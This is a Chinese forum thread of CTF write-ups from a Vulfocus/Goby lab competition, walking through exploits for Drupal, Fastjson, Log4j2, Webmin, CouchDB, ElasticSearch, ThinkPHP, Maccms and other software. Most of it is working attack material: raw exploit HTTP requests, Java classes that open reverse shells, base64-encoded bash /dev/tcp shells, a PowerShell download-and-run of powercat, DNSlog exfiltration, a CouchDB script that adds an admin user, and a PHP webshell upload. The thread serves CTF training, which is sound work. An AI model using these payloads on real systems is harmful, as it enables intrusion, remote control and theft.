|
发表于 2022-1-24 14:50:33
|
显示全部楼层
作者:Mr.hao@s1n0pec安全实验室 0x00 声明和背景
声明: 本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。 背景: 2021年圣诞节参加了Vulfocus和Goby联合举办的靶场比赛。比赛前一天下发了短信提醒,比赛持续了4小时。具体更多细节可以到vulfocus的公众号去了解。 比赛时,访问http://jc.vulfocus.fofa.so即可登陆靶场。登录后看到的界面和vulfocus.fofa.so类似,不过少了漏洞名称等。具体界面类似下图: 0x01 drupal竞赛题目序号:vulfocus/038,vulfocus靶场: drupal 代码执行 (CVE-2018-7600) 单击“启动”,就可以启动比赛的靶场镜像。启动后的界面如下图。我们可以从“映射端口”处,看到内网的80映射到了54645,尝试访问54645端口。
访问后,我们可以从页面底部看到Powered by Drupal字样。
可以尝试百度搜索“drupalgetshell”关键词,翻看后就看到这一篇文章,https://blog.csdn.net/limb0/article/details/107122919 使用其中的代码在Burp中跑一下即可
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: your-ip:8088 Accept-Encoding: gzip, deflate Accept: */*Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT6.1; Win64; x64; Trident/5.0) Connection: close Content-Type:application/x-www-form-urlencoded Content-Length: 103 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
比赛时,先发whoami,确定www-data的返回位置,然后使用 ls /tmp在对应位置翻查flag就可以了。 之后,我们将id换为ls%20/tmp就可以看到flag了。这个/tmp是vulfocus靶场默认的flag存放位置。 这里的Response中,因为是考试后复现,已经没有flag了。
当然,这一道题目,我们也可以直接使用Goby来扫描。扫描后,可以看到漏洞验证界面。
单击验证后,跳出如下界面:
之后在cmd处输入命令ls /tmp就可以拿到flag。 0x02 jupyter未授权竞赛题目序号:vulfocus/052,vulfocus靶场:vulfocus/jupyter_notebook-cve_2019_9644:latest 打开后发现如下界面: 单击upload按钮右侧的New,出现如下界面: 考试时百度jupyter,主要是参考了如下文档 https://blog.csdn.net/qq_45746681/article/details/108932879 0x03 nostromo 1.9.6竞赛题目序号:vulfocus/0077,vulfocus靶场:vulfocus/nostromo-cve_2019_16278:lates 打开靶场后看到nostromo,直接搜索“nostromo 1.9.6”
百度搜索到这一篇,https://blog.csdn.net/x650007/article/details/121487278
Exp在这里: https://github.com/jas502n/CVE-2019-16278 下载后,带参数运行即可:
暂时没有想明白的,是为什么在靶场里,burp工具里面只能执行ifconfig,还有sed,但不能执行whoami,ls和id。而用脚本的话,所有的命令都可以执行。 另外:如果是kali里面,需要给sh赋予权限。 更多Nostromo相关的内容: https://blog.csdn.net/qq_41832837/article/details/109247859 0x04 Yapi考场靶场地址 vulfocus/0017,vulfocus靶场:vulfocus/yapi:latest 1、信息收集 题目界面可以看到有两个端口,分别对应Yapi和mongodb。
先访问3000端口对应的外部端口56678。
页面底部可以看到版本号
2、漏洞探测 使用Goby扫描一下,发现Yapi RCE,但是这次没有给出验证窗口。
但是点击“YAPIRCE”红色字样,依然给出了很多有用的信息。下图“参考”那里给出了一个链接。
按照步骤操作即可。 链接里面给的图片不太清楚,可以试一下这一篇: https://cloud.tencent.com/developer/article/1851526 或者这一篇: https://ranjuan.cn/yapi-remote-command-execute/
单击右侧的“添加项目” 单击右侧的“添加接口”
单击上图的“高级mock”,在“脚本”中添加如下字符:
const sandbox= this const objectConstructor = this.constructor const FunctionConstructor = objectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
单击mock预览中的“mock地址”即可看到whoami的返回结果。
把上面语句中的whoami改为 ls /tmp即可得到flag
3、注意事项 给定的代码中,如果命令中输入ifconfig会报错“解析出错,请检查”。
将命令改为whoami或者whoami && ps -ef即可执行。
经测试靶场环境id,whoami均可以正常返回。 然后执行ls /tmp即可拿到flag。 0x05 Node.js命令执行1、信息收集 打开靶场后发现是8000的端口,尝试访问。报错。
打开nmap对端口带-sV参数进行扫描,发现有node.js 2、利用思路 百度搜索node.js getshell或者node.js RCE。 刚开始都走偏了。后来参考了网上的文档,发现在链接后跟如下地址,可以外带flag:
/api/getServices?name[]=$(ping%20`ls%20/tmp`.54qzaf.dnslog.cn[自己所申请的地址])
刚开始怎么也不成功,后来发现后面漏了个括号。比赛时,要确认有没有犯类似的低级错误。 很多时候都是端口写错、语法拼写错误等低级错误。
0x06 Apache Shiro竞赛靶场地址:vulfocus/025,vulfocus复现靶场vulfocus/shiro-CVE-2016-4437 打开靶场后发现“Welcometo the Apache Shiro”字样。
Goby 扫描可以确认资产的确包含shiro,但是未返回有漏洞。
尝试Shiro工具的本地回显功能,可以拿到flag
具体参考这一篇:https://blog.csdn.net/qq_41901122/article/details/107107237 和这一篇https://www.jianshu.com/p/0114c350373f 0x07 Apache apache-cve_2021_42013竞赛靶场地址:不记得了,vulfocus复现靶场:apache 远程代码执行 (CVE-2021-42013) 比赛时,打开靶场后发现
尝试Goby扫描得到组件信息。
搜索“Apache-Web-Server”,参考这一篇 https://blog.csdn.net/qq_36334464/article/details/120685518 重点参考
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
使用burp拿到flag
响应包里看到了flag 0x08 ElasticSearch题目地址 vulfocus/057:latest;vulfocus靶场:elasticsearch 代码执行 (CVE-2015-1427) 打开靶场,看到界面如下:
版本为1.4.2的elastic search。 搜索后找到一篇合集,https://blog.csdn.net/qq_45742511/article/details/119189967 具体步骤如下: 1、先发送如下post数据包到/website/blog/
{ "name": "test" }
2、再发送如下post数据包到_search?pretty
{"size":1,"script_fields":{"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
3、再修改为id为ls /tmp,拿到flag
这道题踩到的坑是必须先发送第一个数据包,否则不会有第二个数据包的效果。 原理上我记得好像在哪里看到过,就是日志里面必须有一些内容才可以后续利用。 0x09 Apache(vulfocus/0021,CVE-2017-12615)打开靶场,看到如下界面
应该是Apache类似的漏洞。 看到这一篇,一边看,一边同时打开Goby进行扫描。 https://www.cnblogs.com/confidant/p/15440233.html
单击“Apache Tomcat“那里的红色字体,发现如下图的界面,可以验证。
看到webshell那里有链接,复制到浏览器即可访问webshell。
0x10 Stuts2vulfocus/0010,CVE-2013-2135 题目已知是struts2,所以尝试使用工具。
思路1: 使用vulmap 0.8版本的。对welcome.action进行扫描。 参考链接:
思路2(尚未验证): Goby +vulmap插件,Goby内有vulmap的插件。 https://zhuanlan.zhihu.com/p/354354264 思路3(尚未验证): Goby编写自定义规则 https://www.cnblogs.com/micr067/p/14124864.html 0x11 ThinkPhPvulfocus/006:latest,thinkphp命令执行 (CVE-2018-1002015) 打开靶场后,尝试端口后面输入index.php,可以看到报错:
打开Goby扫描该试题端口
截图时,复现的比赛靶场关了,只好重开了靶场。输入system和ls /tmp可以拿到flag。
也可以参考这里: https://www.cnblogs.com/nongchaoer/p/12029478.html 构造拿到flag
http://106.75.119.109:49358/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/tmp
网上应该还有其他thinkphp的成套工具。POC suite3应该也可以。 https://www.cnblogs.com/defyou/p/15762860.html xray应该也可以。还没有来得及尝试。 0x12 drupal(cve-2018-7600)vulfocus/0076,vulfocus/drupal-cve_2018_7600:latest 打开后如下图:
Goby扫描
和前面类似,不再重复。
0x13 Struts2vulfocus/008:latest,struts2-046远程代码执行 (CVE-2017-5638) 最终的解法可能不一定很难,但难的是确认漏洞到底是哪一个。平时练习时,就要多思考,如果是比赛环境,我该如何确认漏洞到底是哪一个。如果没有告诉我这是哪一个漏洞,我该怎么办? 打开后,尝试上传文档。发现标题里面提示struts2,链接里面也有.action,初步判断是struts。
使用vulmap进行struts2的漏洞探测。发现s2-046
使用 --list确认是否可以利用。
使用ls /tmp即可拿到flag。
0x13 整体比赛需要注意的事项1、关注比赛群,和其他CTF类似,官方的支持也很重要。合理利用规则,例如可以3个人组队,可以开四个环境。 2、有的靶场比较大,需要耐心等一会。比如druid这一类靶场。 3、靶场登录密码复制的时候,小心空格。 4、比赛环境如果遇到有时候提交flag总也不对,可以先尝试如下界面的“停止”,再“删除”。尝试重新拿一下环境。 0X14 总体感受感谢家人对比赛的支持,感谢Vulfocus和goby联合举办的这次比赛。感谢白帽汇。 靶场和真实环境类似,需要平时很多的积累:比如工具,比如思路,比如见识,比如朋友(三个人打比赛和一个人打还是不一样的)。 还有编程能力,也要提升,不能只满足于会用别人的工具。 实战中还要思考,如何用最小的战术动作拿到最终结果。 s1n0pec安全实验室,致力于企业内网安全建设,涉及实战化攻防、渗透测试、CTF比赛、应急响应等多领域安全研究。
|
|
| [tr][/tr]
| 回复 [url=]举报[/url]
| | |
| 沙发
楼主| 发表于 22 分钟前 | 只看该作者
作者:hxd@西津北固战队 声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。
FastJson-RCE-[CNVD-2017-02833]
概述1.2.24 (cnvd_2017_02833)影响范围 <=1.2.24 1.2.47 (cnvd_2019_22238)影响范围 <=1.2.47
- 漏洞检测的方式主要是POS请求发送json参数,然后反序列化执行命令,再通过dnslog平台来回显
- 漏洞利用的方式主要是POS请求发送json参数,然后反序列化执行命令,反弹shell
- 两个版本的漏洞检测和利用方式几乎一致,除了payload不一样
搭建靶机- 使用vulfocus搭建靶机,获得访问地址:192.168.1.11.59260,本机地址为192.168.0.20
vulfocus/fastjson-cndv_2017_02833 vulfocus/fastjson-cndv_2019_22238
vulfocus/035 (比赛靶机)
vulfocus/036 (比赛靶机)
通常看到json传输数据的,可以测试下是不是存在fastjson的漏洞,burp的插件可以很方便进行检测。这里因为是vulfocus的靶机,很熟悉,所以很明确的知道是存在fastjson的漏洞的 抓取流量- 打开url,并抓取流量,直接改成POST请求,随便测试json参数,发现并不会报错
准备利用环境因为这个wp我很久之前写过,拿来改了改,所以前面是传统的方法和步骤,没有耐心的可以直接略过到最后 - 搭建一个web服务器,如果有现成的可以直接用,前提是靶机要能够访问到这个web服务
- 使用python可以很方便的搭建web服务,执行下面的命令,相当于开通了一个端口是8888的web服务
python3 -m http.server 8888
web服务的根目录就是当前命令执行的目录,可以建个文件夹,然后在这个文件夹目录下执行命令 后面我们要在此目录下创建文件 构建POC文件- 在web服务根目录下建立 Exploit.java 文件,代码如下
public class Exploit{ public Exploit() {} static { try { String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe","/c", "ping xxxx.dnslog.cn"} : new String[]{"/bin/bash","-c", "curl xxxx.dnslog.cn"}; Runtime.getRuntime().exec(cmds); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { Exploit e = new Exploit(); }}
- 替换后,执行命令把Exploit.java 编译成class
javac Exploit.java成功生成了class文件
建立RMI服务marshalsec-0.0.3-SNAPSHOT-all.jar java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.20:8888/#Exploit" 8889这里命令需要重点理解,大致意思是通过加载 http://192.168.0.20:8888/Ecploit.class的方式在8889端口建立RMI服务,到这一步就理解了为什么上面要建立web服务,web服务的端口和RIM服务的端口不要混淆 网上很多文章这里说明的很模糊,端口号上下文也不匹配,导致复现失败 发送POC请求- payload,不同版本的不一样,这是1.2.24的
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.0.20:8889/Exploit", "autoCommit":true }}{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.0.20:8889/Exploit", "autoCommit":true }}- 查看了dnslog,果然接受到了请求,也就是说Exploit.java 文件中的命令得到了执行
反弹shell- 其实到这里就很简单,只要修改Exploit.java的代码就行,为了方便我们直接创建一个新的文件 Rshell.java
public class Rshell{ public Rshell() {} static { try { String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe","/c", "powershell \"IEX (New-object System.Net.Webclient).DownloadString('http://192.168.0.20/powercat.ps1'); powercat -c 192.168.0.20 -p 9999 -e powershell\""} : new String[]{"/bin/bash","-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4xMS4xMS4xMS85OTk5IDA+JjEK}|{base64,-d}|{bash,-i}"}; Runtime.getRuntime().exec(cmds); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { Rshell e = new Rshell(); }}
- 例如使用PowerShell远程下载PowerCat执行反弹cmd命令
powershell IEX (New-object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.106 -p 6666 -e cmdRshell中的代码远程下载的是事先下载好然后放到python那个web服务下的,反弹的是powshell - 靶机如果是liunx就更加简单了,直接把命令base64加密然后替换就好
bash -i >& /dev/tcp/192.168.0.20/9999 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMjAvOTk5OSAwPiYx- 替换完成后,编译生成Rshell.class文件
- 重启RIM服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.20:8888/#Rshell" 8889nc -lvvp 9999
更加便捷的方法上面是比较传统的方法和过程,各路大神已经写了很多更加方便的工具,可以快速的建立RIM或者LDAP的服务,都不用自己从头开始构建恶意类了,可以直接反弹shell或者上传各种内存马 - JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.txt 加密反弹shell的命令 bash -i >& /dev/tcp/192.168.0.20/9999 0>&1加密网站 https://www.jackson-t.ca/runtime-exec-payloads.html 其实就是base64加密,也可以用其他工具 加密后 bash -c {echo,YmFzaCAtaSA+JiAvZGVXXXXX5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}启动服务 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDMuMXXXXXXXOTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "vps的地址"感兴趣的可以去了解 https://github.com/zzwlpx/JNDIExploit,感觉使用起来比上面那个还要方便,不过这个就见仁见智了
Log4j2-RCE-[CVE-2021-44228]
概述漏洞描述Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞评级 CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重 CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞 严重 影响版本注:Apache Log4j 1.x 版本不受此次漏洞影响。 CVE-2021-44228 Apache Log4j 远程代码执行漏洞 Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0 (2.12.2 版本不受影响)
CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞: Apache Log4j 2.x >=2.0-beta9 且 < 2.16.0(2.12.2 版本不受影响) 漏洞POC搭建靶机使用vulfocus搭建靶机,并获得访问地址 vulfocus/log4j2-rce-2021-12-09:latest
vulfocus/062 (比赛靶机)
因为比赛的靶机没有任何的漏洞描述,但是因为之前log4j2漏洞爆发的时候,第一时间在vulfocus上测试了相关的靶机,初始访问的时候也是这个页面,然后POST了下路径hello,返回ok,确认是log4j2漏洞
Payload${jndi:ldap://tm0ftq.dnslog.cn/Exploit}使用此paylaod可以直接通过dnslog查询的方式验证漏洞是否存在 payload=%24%7Bjndi%3Aldap%3A%2F%2Ftm0ftq.dnslog.cn%2FExploit%7D
dnglog的收到了请求,证明了漏洞的存在 漏洞利用搭建LDAP服务下载第三方工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.txt 加密反弹shell的命令 bash -i >& /dev/tcp/47.103.XXX.XXX/9999 0>&1加密网站 https://www.jackson-t.ca/runtime-exec-payloads.html 其实就是base64加密,也可以用其他工具 加密后 bash -c {echo,YmFzaCAtaSA+JiAvxxxxxM5Ljddddddd5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}启动服务 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxxk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "vps地址"
开启监听 nc -lvvp 9999反弹shell使用第一个服务(其他几个我试了都不行),发送payload
反弹成功,并获得flag
Webmin-RCE-[CVE-2019-15107]
概述漏洞描述Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。 影响版本Webmin <= 1.920 漏洞POC环境搭建使用vulfocus,启动靶机 vulfocus/webmin-cve_2019_15107:latest vulfocus/0019(比赛靶机)
打开页面,根据页面上的提示使用https访问,很显然是一个webmin系统
payloadPOST /password_change.cgi HTTP/1.1Host: 106.75.119.109:24335User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: redirect=1; testing=1; sid=2c97114272115f9e3e52307ff418b31d; sessiontest=1DNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Length: 60user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2发送payload,可以发现返回了当前用户
漏洞利用具体操作同上,只需要修改命令即可,比如获取flag
CouchDB-RCE-[CVE-2017-12636]
概述漏洞描述Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。CouchDB允许通过自身提供的Restful API接口动态修改配置属性,我们可以在一个未授权访问的CouchDB上,通过修改其query_server配置,来执行系统命令。 影响版本CouchDB < 1.7.0 CouchDB < 2.1.1 漏洞POC环境搭建使用vulfocus搭建环境,启动靶机 vulfocus/couchdb-cve_2017_12636:latest
vulfocus/059 (比赛靶机)
比赛靶机隐藏了漏洞的描述,不过通过访问地址返回的json,我们可以看到是couchdb,版本为1.6.0 Payload脚本中的参数需要修改 target:靶机地址, command:星号改成自己的vps地址,用于反弹shell version:根据CouchDB的版本来设置, 1表示为1.X,2表示为2.X #!/usr/bin/env python3import requestsimport jsonimport base64from requests.auth import HTTPBasicAuthtarget = 'http://xxxxxx:xxxx'command = rb"""sh -i >& /dev/tcp/***.***.***.***/9999 0>&1"""version = 1session = requests.session()session.headers = { 'Content-Type': 'application/json'}# session.proxies = {# 'http': 'http://127.0.0.1:8085'# }session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user", "name": "wooyun", "roles": ["_admin"], "roles": [], "password": "wooyun"}''')session.auth = HTTPBasicAuth('wooyun', 'wooyun')command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()if version == 1: session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))else: host = session.get(target + '/_membership').json()['all_nodes'][0] session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))session.put(target + '/wooyun')session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')if version == 1: session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')else: session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')在vps上开启监听 nc -lvvp 9999执行脚本并反弹shell
漏洞利用操作同上,比如获取flag
ElasticSearch-RCE-[CVE-2014-3120]
概述漏洞描述ElasticSearch是基于开源的全文检索引擎Lucene,是一个实时分布式搜索和分析引擎,支持全文检索,结构化检索和数据分析等。 ElasticSearch1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。 影响版本ElasticSearch < 1.2 漏洞POC环境搭建使用vulfocus搭建环境,开启靶机 vulfocus/elasticsearch-cve_2014_3120:latest
vulfocus/058(比赛靶机)
访问地址,返回的是一串json的字符串,因为比赛的靶机隐藏了漏洞的描述信息,所以熟悉的人可能知道这个是ElasticSearch的版本信息,可以看到版本号是 1.1.1。
不熟悉的人就要使用工具先收集一些信息了。这里我们使用信息收集的利器Goby,自带了大量系统、设备和中间件的识别指纹,还可以进行各种漏洞检测利用,尤其是红队版,漏洞的检测能力更强。
Payload首先添加一条数据 POST /website/blog/ HTTP/1.1Host: 106.75.119.109:58472User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Length: 26{ "name": "vulfocus"}
执行命令,script的部分就是执行java代码的 POST /_search?pretty HTTP/1.1Host: 106.75.119.109:44991User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Length: 361{ "size": 1, "query": { "filtered": { "query": { "match_all": { } } } }, "script_fields": { "command": { "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();" } }}
漏洞利用具体操作同上,比如还可以同时执行多个恶意代码 POST /_search?pretty HTTP/1.1Host: 106.75.119.109:44991User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Length: 532{ "size": 1, "query": { "filtered": { "query": { "match_all": { } } } }, "script_fields": { "command": { "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();" },"test": { "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();" } }}
总结本次vulfocus靶场竞赛,竞争激烈,参与者众多,一度导致系统无法正常访问,不过赛事举办方忙而不乱,稳中有序,及时处理了各种问题,保障了比赛的正常进行,这里要为举办方的付出和努力点个赞。
这次比赛的题目都是出自于vulfocus的靶场,不过隐去了漏洞的描述,所以对选手的信息收集能力有了一定的要求,需要先确定是什么漏洞(不得不说goby真的很好用),参与比赛让我意识到,不是为了打靶场而打靶场,相关的漏洞要多了解,各种工具和脚本不是拿来主义,而是要能够明白里面的逻辑和原理,才能转化为自己的知识和能力
|
| | [tr][/tr]
| 回复 [url=]举报[/url]
| | |
| 板凳
楼主| 发表于 22 分钟前 | 只看该作者
作者:夏天@UTF-8 声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。
题目号:030描述Maccms是一套跨平台的基于PHP和MySQL快速建站系统。 Maccms 8.x版本中存在安全漏洞。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。 CVE编号:CVE-2017-17733 复现
POC http://106.75.119.109:56376/?m=vod-search
POST:wd={if-A:phpinfo()}{endif-A}写入一句话木马,post传入 wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}木马路径http://106.75.119.109:56376/c.php 密码:c 题目号:036描述Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象 fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。 cnvd漏洞编号:CNVD-2017-02833 复现反弹shell Exploit.java import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xxxxxxxx/1122 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}javac生成Exploit.class python3 -m http.server --bind 0.0.0.0 1234 开启WEB服务,要在Exploit.class目录下java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxxxx:1234/#Exploit" 9999 开启rmi服务加载恶意payloadPOST / HTTP/1.1
Host: 106.75.119.109:8319
Content-Length: 263
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Origin: http://106.75.119.109:8319
Content-Type: text/plain
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://106.75.119.109:8319/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1640767163; SESS28c7e2280da264064ffa80d84cd80dc4=v_4H6stRpW6vZpQdCiRlclhWAYyTO8sTVJIZcp6UEBQ; redirect=1; JSESSIONID=52353575D2190FB692CBB1125D978C4B
Connection: close
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxxxxxxxxx:9999/Exploit",
"autoCommit":true
}
}
题目号:045描述Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.962版本及之前版本存在安全漏洞,该漏洞允许执行任意命令。任何被授权使用Package Updates模块的用户都可以使用根权限通过包含和的向量执行任意命令。 账户密码:root:password CVE编号:CVE-2020-35606 复现https访问 https://106.75.119.109:37875/password_change.cgi user=rootxx&pam=&expired=2&old=ls /tmp&new1=test2&new2=test2
题目号:052描述Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。 Jupyter Notebook可直接使用命令行执行任意命令。 CVE编号:CVE-2019-9644 复现
题目号:058描述Elasticsearch是一个高度可扩展的开源全文搜索和分析引擎。它允许您快速,近实时地存储,搜索和分析大量数据。它通常用作底层引擎/技术,为具有复杂搜索功能和要求的应用程序提供支持。 ElasticSearch其有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。但其用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。 CVE编号:CVE-2015-1427 复现POST /_search?pretty HTTP/1.1
Host: 106.75.119.109:33026
Pragma: no-cache
Cache-Control: no-cache
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
X-Requested-With: xm lHttpRequest
Referer: http://106.75.119.109:33026/_search?pretty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1640767163; SESS28c7e2280da264064ffa80d84cd80dc4=v_4H6stRpW6vZpQdCiRlclhWAYyTO8sTVJIZcp6UEBQ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 361
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
